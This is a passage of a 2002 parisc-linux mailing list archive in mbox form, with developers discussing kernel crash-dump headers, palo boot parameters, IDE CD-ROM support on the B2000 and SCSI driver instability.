Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13840

This is a multi-part message in MIME format.
--------------B8E70CF7290CEC3ABD38A103
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I don't know how to retrieve option pass to the kernel,
but give me some clue, and I'll add this information in
the dump header asap, because it is a really good idea :-)

Grant Grundler wrote:
> 
> Randolph Chung and I were wondering if dump driver could save a
> parameter passed in by palo: eg "boot_kernel=/boot/vmlinux-pa11".
> I haven't checked if something like that already exists.
> 
> grant



-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------B8E70CF7290CEC3ABD38A103
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B8E70CF7290CEC3ABD38A103--




From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 18:59:34 +0100
Organization: H.P
Lines: 49
Approved: news@gmane.org
Message-ID: <3C4DA886.8C735B73@admin.france.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122174533.38418482A@dsl2.external.hp.com> <20020122175332.GF3247@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------820870432D8CD31750F501ED"
X-Trace: ger.gmane.org 1416621000 1471 80.91.229.3 (22 Nov 2014 01:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:00 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 11:02:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98A054833
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 11:02:37 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 13BDC303; Tue, 22 Jan 2002 19:02:36 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id TAA16315; Tue, 22 Jan 2002 19:02:01 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13841

This is a multi-part message in MIME format.
--------------820870432D8CD31750F501ED
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

lkcd is really simple, it takes /boot/vmlinux, /boot/kerntype, 
and /boot/System.map. It don't take care about that, it is the 
user problem :-(, I want to be a little more user friendly.

Randolph Chung wrote:
> 
> > Randolph Chung and I were wondering if dump driver could save a
> > parameter passed in by palo: eg "boot_kernel=/boot/vmlinux-pa11".
> > I haven't checked if something like that already exists.
> 
> Is this really an arch-dependent problem? How do other architectures (I
> think lkcd works on i386 and alpha?) do this?
> 
> randolph
> --
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------820870432D8CD31750F501ED
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------820870432D8CD31750F501ED--




From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 10:11:53 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20020122181153.GG3247@tausq.org>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122174533.38418482A@dsl2.external.hp.com> <3C4DA793.B17F1D3C@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621000 1473 80.91.229.3 (22 Nov 2014 01:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:00 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 11:12:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF0C6482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 11:12:22 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ombykaaa for parisc-linux@lists.parisc-linux.org; Tue, 22 Jan 2002 11:12:22 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16T5Oj-0002u4-00; Tue, 22 Jan 2002 10:11:53 -0800
Content-Disposition: inline
In-Reply-To: <3C4DA793.B17F1D3C@admin.france.hp.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13842

In reference to a message from Bruno Vidal, dated Jan 22:
> 	Hi
> I don't know how to retrieve option pass to the kernel,
> but give me some clue, and I'll add this information in
> the dump header asap, because it is a really good idea :-)

static char *boot_kernel = "/boot/vmlinux";
MODULE_PARM(boot_kernel, "s")
MODULE_PARM_DESC(boot_kernel, "Boot kernel path")

then i guess somehwere in your dump code strcpy boot_kernel to a known
location in the dump.

of course we still need to change palo to do this (pass the
parameter)... paul, any comments?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 11:34:04 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020122183404.4F8234830@dsl2.external.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122174533.38418482A@dsl2.external.hp.com>  <3C4DA793.B17F1D3C@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621000 1479 80.91.229.3 (22 Nov 2014 01:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:00 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 11:34:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4F8234830; Tue, 22 Jan 2002 11:34:04 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 22 Jan 2002 18:55:31 +0100." <3C4DA793.B17F1D3C@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13843

Bruno Vidal wrote:
> 	Hi
> I don't know how to retrieve option pass to the kernel,
> but give me some clue, and I'll add this information in
> the dump header asap, because it is a really good idea :-)

(credit: Randolph brought it up first)

Look at arch/parisc/kernel/setup.c:setup_cmdline().
We can add pretty much anything we need here.

It just occurred to me that the source media (ie network, disk)
needs to be identified as well.
Is the vmlinux/System.map required to be on the root file system?
Would it be reasonble if savecrash told the user that /boot/vmlinux
wasn't the matching kernel and where to put the right vmlinux/System.map?

Allowing users to drop the right kernel in place *after* the
crash dump was recovered seems reasonable thing to do.
Someone might want to move the crash dump to a bigger/faster
system to do the actual analysis.

grant



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000
Date: Tue, 22 Jan 2002 11:44:50 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020122184450.CE662482A@dsl2.external.hp.com>
References: <03273D4BC7F4D511AC440008C7E6F8815420CA@nlntmail2b.ats.nld.alcatel.nl>  <20020122175557.D51FF482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621001 1481 80.91.229.3 (22 Nov 2014 01:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 11:44:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CE662482A; Tue, 22 Jan 2002 11:44:50 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Tue, 22 Jan 2002 10:55:57 MST." <20020122175557.D51FF482E@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13844

Grant Grundler wrote:
> Built-in IDE cd-rom drive on BCJ-[123567]XXX is not supported.
> Off and on I've been hacking on suckyio IDE support but it's still
> not working.

In case anyone else wants to take a whack at IDE, I've posted my latest
diff on
	ftp://ftp.parisc-linux.org/patches/ide-2.4.17-pa13.diff

I won't be looking at this for the next week or so...too many other
things to do atm.

grant



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Re]: B2000
Date: Tue, 22 Jan 2002 20:09:00 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <1011726540.3c4db8cc712a9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621001 1494 80.91.229.3 (22 Nov 2014 01:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:01 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, Hans.Witvliet@Alcatel.nl
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 12:09:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C163482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 12:09:07 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16T6I0-0000pC-00; Tue, 22 Jan 2002 20:09:00 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13845

Hi all,

Just to relate an experience:

For my part, I just take the CD-0.9.3 and try to boot it with a B2000 and it
failled also for me with similar messages if I use the STI buildin console.
Well,... I disconnect ps/2 kbd and mouse and use a serial console (emulating
vt100) and it boot correctly (with internal ide cdrom drive) at leat till the 2
first Debian/GNU install dialog box. (I did not install actually because I have
not disk to use so it is possible that it would failled later because of ide
drive?).

Is it help?

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 12:59:03 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E16T74R-0002Ko-00@noam.fc.hp.com>
References: <15417.3793.688638.629130@gargle.gargle.HOWL>  <20020107034615.9BFD64839@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621001 1509 80.91.229.3 (22 Nov 2014 01:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:01 +0000 (UTC)
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 12:59:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95436482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 12:59:05 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel6.hp.com (Postfix) with ESMTP id A166C6008EE
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 14:59:04 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 49E4B44E3; Tue, 22 Jan 2002 12:59:04 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16T74R-0002Ko-00; Tue, 22 Jan 2002 12:59:03 -0700
In-Reply-To: Your message of "Sun, 06 Jan 2002 20:46:15 MST."
             <20020107034615.9BFD64839@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13846

palo removes the "3/vmlinux" parameter (and the initrd= one too) before
passing command line to the kernel which is consistent with x86 I think.
Would it be helpful to add a kernel parameter like "palo_kernel=3/vmlinux"
which you could then retrieve from /proc/cmdline?  I know it's a pain
to turn 3/vmlinux into /boot/vmlinux but 3/vmlinux is all palo knows.

	-P



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 19:59:09 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20020122195909.GD25314@sleepie.demon.co.uk>
References: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csiro.au> <20020122141253.GB25314@sleepie.demon.co.uk> <20020122120548.M19637@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621002 1521 80.91.229.3 (22 Nov 2014 01:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:02 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 13:09:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC5A6482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 13:09:31 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 571B39EC5F; Tue, 22 Jan 2002 19:59:09 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020122120548.M19637@systemhalted>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13847

On Tue, Jan 22, 2002 at 12:05:48PM -0500, Carlos O'Donell Jr. wrote:
> I can't get any of the 715/50's to run stably with the newer
> SCSI driver. And after testing I can almost pinpoint with 95%
> accuracy tha it's the new driver.

Have you tried hacking the driver to disable tagged commands, or at
least to limit the maximum tagged cmds per device to something small?

Richard




From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Linux-ia64] heads-up: don't treat __FUNCTION__ as a constant (fwd)
Date: Tue, 22 Jan 2002 14:35:12 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <20020122223513.0793E48DD@ob500.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621002 1526 80.91.229.3 (22 Nov 2014 01:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 15:35:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A378482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 15:35:28 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id A2318601411
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 17:35:27 -0500 (EST)
Original-Received: from ob500.cup.hp.com (dhcp66.cup.hp.com [15.8.80.66])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 31DBD37EDF
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 15:35:27 -0700 (MST)
Original-Received: from cup.hp.com (localhost [127.0.0.1])
	by ob500.cup.hp.com (Postfix) with ESMTP id 0793E48DD
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 14:35:13 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
